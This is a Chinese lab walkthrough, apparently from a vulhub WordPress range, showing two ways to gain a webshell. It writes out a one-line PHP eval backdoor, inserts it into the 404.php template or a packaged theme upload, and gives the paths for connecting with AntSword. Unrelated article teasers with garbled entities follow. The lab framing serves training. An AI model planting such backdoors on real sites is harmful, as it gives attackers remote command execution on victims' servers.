【vulhub/wordpress靶场】------获取webshell

1.进入靶场环境:

输入:cd / vulhub / wordpress / pwnscriptum

修改版本号:  vim docker-compose.yml     
version: '3'   保存退出
 
开启靶场环境: docker - compose up - d

开启成功,docker ps查看端口   靶场环境8080端口映射到80端口

2. 浏览器访问靶场ip+端口   

192.168.182.143:8080

选择简体中文,点击“继续”。

3.  填入信息,进行安装

安装完成,进行登录。

4.获得webshell

4.1 姿势一:后台修改模板拿webshell

4.1.1  修改模板内容

修改其WP的模板写⼊⼀句话⽊⻢后⻔并访问其⽂件即可GetShell;登陆WP后点击 【外
观】 --》 【编辑】 --》 404.php

4.1.2  写入一句话木马

在其404模板中插⼊⼀句话⽊⻢代码..点击 【更新⽂件】 按钮
<? php eval ( $_POST [ cmd ]);?>

4.1.3 拼接路径,访问文件,蚁剑连接

#拼接路径       /wp-content/themes/twentyfifteen/404.php
访问连接:   http://192.168.182.143:8080/wp-content/themes/twentyfifteen/404.php

 4.2 姿势二:上传主题拿WebShell

4.2.1写入木马文件,和正常的主题模板合并压缩为1.zip文件

写入一句话木马,保存文件为shell.php。
<?php @eval($_POST[cmd]);?>
在网址中任意下载一个免费的模板zip文件; wordpress免费主题|wordpress企业主题|wordpress cms主题|wordpress网站模板|wordpress模板-WEB主题公园
解压后,将shell.php文件拖入解压包,并再次压缩为1.zip文件

4.2.2 上传主题

点击 【外 观】 --》 【主题】 --》 【添加】 --》 【上传主题】 --》 【浏览】 --》 【现在安装】

4.2.3  拼接路径,访问连接,蚁剑连接

#拼接路径     /wp-content/themes/压缩包解压后文件名/木马文件名.php

该压缩包文件,再上传上去后,会自动解压,从而进行安装主题。此次木马php文件也在解压后的文件里,即在网站根目录且可以访问。

访问:http://192.168.182.143:8080/wp-content/themes/1/shell.php   【这里的1,指的是压缩包解压得到的文件的文件名】

练习结束,知道目标网站的CMS架构,搜索常见漏洞可进行尝试。
修改原有php文件,写入一句话木马;
上传包含木马php文件的正常模板压缩包,上传完成后,会自动解压安装主题,因而木马文件成功上传到网站,访问木马文件,即可获取webshell。
WordPress框架,这两种方式通用。
希望对大家有所帮助,谢谢。
再见。。。
-----------2025/3/20  20:25

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微信小程序:用户拒绝小程序获取当前位置后的处理办法

【1】问题描述&#xff1a; 小程序在调用 wx.getLocation() 获取用地理位置时&#xff0c;如果用户选择拒绝授权&#xff0c;代码会直接抛出错误。如果再次调用 wx.getLocation() 时&#xff0c;就不会在弹窗询问用户是否允许授权。导致用户想要重新允许获取地理位置时&#x…

NLP 与常见的nlp应用

自然语言处理&#xff08;NLP&#xff09;是一个广泛的领域&#xff0c;它不仅包括自然语言理解&#xff08;NLU&#xff09;&#xff0c;还涉及一系列其他任务和子领域。以下是NLP领域中的主要组成部分及其相关任务&#xff1a; 1. 自然语言理解&#xff08;NLU&#xff09; …

全网首创/纯Qt/C++实现国标GB28181服务/实时视频/云台控制/预置位/录像回放和下载/事件订阅/语音对讲

一、前言说明 用纯Qt来实现这个GB28181的想法很久了&#xff0c;具体可以追溯到2014年&#xff0c;一晃十年都过去了&#xff0c;总算是整体的框架和逻辑都打通了&#xff0c;总归还是杂七杂八的事情多&#xff0c;无法静下心来研究具体的协议&#xff0c;最开始初步了解协议后…

Django+celery+flower

Djangoceleryflower Django的定时任务及可视化监控Django Django的定时任务及可视化监控 Django的定时任务&#xff0c;以及可视化监控。 Django Django&#xff1b; 首先在python中新建虚拟环境并激活 pip install virtualenv python -m venv venv source venv/bin/activa…

Python 编程题 第十一节:选择排序、插入排序、删除字符、目标移动、尾部的0

选择排序 假定第一个为最小的为已排序序列&#xff0c;与后面的比较&#xff0c;找到未排序序列中最小的后&#xff0c;交换位置&#xff0c;获得最小元素&#xff0c;依次往后 lst[1,14,25,31,21,13,6,8,14,9,7] def selection_sort(lst):for i in range(len(lst)):min_inde…

组态王Kingview配置为OPCUA服务器的一些问题处理

一、问题描述 1、组态王【运行配置】界面没有【服务配置】的选项&#xff0c;无法将组态王Kingview配置为OPCUA服务器&#xff1b; 2、点击组态王【运行配置界面】的【服务配置】选项弹窗警告提示【试图执行的操作不受支持】&#xff0c;如下图所示&#xff1a; 二、问题分析 …

模块二 单元4 安装AD+DC

模块二 单元4 安装ADDC 两个任务&#xff1a; 1.安装AD活动目录 2.升级当前服务器为DC域控制器 安装前的准备工作&#xff1a; 确定你要操作的服务器系统&#xff08;Windows server 2022&#xff09;&#xff1b; 之前的服务器系统默认是工作组的模式workgroup模式&#xff08…

git clone项目报错fatal: fetch-pack: invalid index-pack output问题

前情回顾&#xff1a;git项目放在公司服务器上面&#xff0c;克隆等操作需要连接VPN才能操作。由于项目比较大&#xff0c;网速比较慢&#xff0c;克隆项目经常出现fetch-pack: invalid index-pack output。在网上查找各种解决方法。也就这一种有点效果。仅供参考&#xff0c;不…

前端Tailwind CSS面试题及参考答案

解释 Tailwind CSS 中 w-1/2 和 max-w-md 的区别及适用场景 在 Tailwind CSS 里&#xff0c;w-1/2 和 max-w-md 属于不同类型的宽度控制类&#xff0c;它们的功能和适用场景存在明显差异。 w-1/2 是用来设定元素宽度的类。它把元素宽度设定为其父元素宽度的一半。例如&#xff…

《深度剖析:BERT与GPT——自然语言处理架构的璀璨双星》

在自然语言处理&#xff08;NLP&#xff09;的广袤星空中&#xff0c;BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;与GPT&#xff08;Generative Pretrained Transformer&#xff09;系列模型宛如两颗最为耀眼的星辰&#xff0c;引领…

VMware主机换到高配电脑,高版本系统的问题

原来主机是i3 ,windows7系统&#xff0c;vmware 14.0,虚机系统是ubuntu 14.04。目标新机是i7 14700KF,windows11系统。原以为安装虚拟机&#xff0c;将磁盘文件&#xff0c;虚拟机配置文件拷贝过去可以直接用。 新目标主机先安装了vmware 15&#xff0c;运行原理虚机&#xff0…

后端框架模块化

后端框架的模块化设计旨在简化开发流程、提高可维护性&#xff0c;并通过分层解耦降低复杂性。以下是常见的后端模块及其在不同语言&#xff08;Node.js、Java、Python&#xff09;中的实现方式&#xff1a; 目录 1. 路由&#xff08;Routing&#xff09;2. 中间件&#xff08;…

MDG实现BP客商复杂逻辑校验的方法

引言 项目中可能常用的增强点是USMD_RULE_SERVICE来实现复杂的校验逻辑&#xff0c;除此之外&#xff0c;SAP对BP主数据还提供了以下的实现方式。 方法1-替换ERP校验类 众所周知&#xff0c;BP存在复杂的ERP校验&#xff0c;主要通过类CL_MDG_BS_FND_BP_CHECK&#xff08;子…

基于springboot的教务系统(源码+lw+部署文档+讲解),源码可白嫖!

摘要 这些年随着Internet的迅速发展&#xff0c;我们国家和世界都已经进入了互联网大数据时代&#xff0c;计算机网络已经成为了整个社会以及经济发展的巨大动能&#xff0c;各个高校的教务工作成为了学校管理事务的重要目标和任务&#xff0c;因此运用互联网技术来提高教务的…

TDengine 中的流式计算

简介 TDengine 中的流计算&#xff0c;功能相当于简化版的 FLINK &#xff0c; 具有实时计算&#xff0c;计算结果可以输出到超级表中存储&#xff0c;同时也可用于窗口预计算&#xff0c;加快查询速度。 创建流式计算 CREATE STREAM [IF NOT EXISTS] stream_name [stream_o…

代码随想录day23 回溯part2

39.组合总和 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限制重…

回调函数中 qsort 函数的使用

目录 一.冒泡排序 二.指针类型 void* 三. qsort 1.简介 2.研究函数参数 3.怎么用&#xff1f; (1)排数组&#xff0c;升序 (2)排序结构体 四.用冒泡排序思想&#xff0c;模拟实现 qsort (可排序任意类型数据) 1.函数参数设计 2.在 if (cmp( )>0) 怎么传参&#x…

电机控制常见面试问题(十四)

文章目录 一.电机信噪比二.电机零点偏移校正和极对数自适应1.零点偏移量检测​2. 极对数识别三.交流电机电流纹波怎么产生的1.电源相关因素2.电机本体特性3.​PWM逆变器谐波4.负载与环境干扰5.诊断流程建议 四.谈谈对谐波的理解1.谐波定义2.次谐波产生源3.次谐波的检测与分析4.…

axios和fetch的对比

axios 和 fetch 是用于发起 HTTP 请求的两种常见工具&#xff0c;它们的主要区别如下&#xff1a; 1. 浏览器兼容性 axios&#xff1a;基于 XMLHttpRequest&#xff0c;兼容性较好&#xff0c;支持较旧的浏览器&#xff08;如 IE11&#xff09;。fetch&#xff1a;现代浏览器…

Java Timer定时任务源码分析

前言 Java 提供的java.util.Timer类可以用来执行延时任务&#xff0c;任务可以只执行一次&#xff0c;也可以周期性的按照固定的速率或延时来执行。 实现一个延时任务调度器&#xff0c;核心有两点&#xff1a; 如何存储延时任务如何调度执行延时任务 源码分析 TimerTask …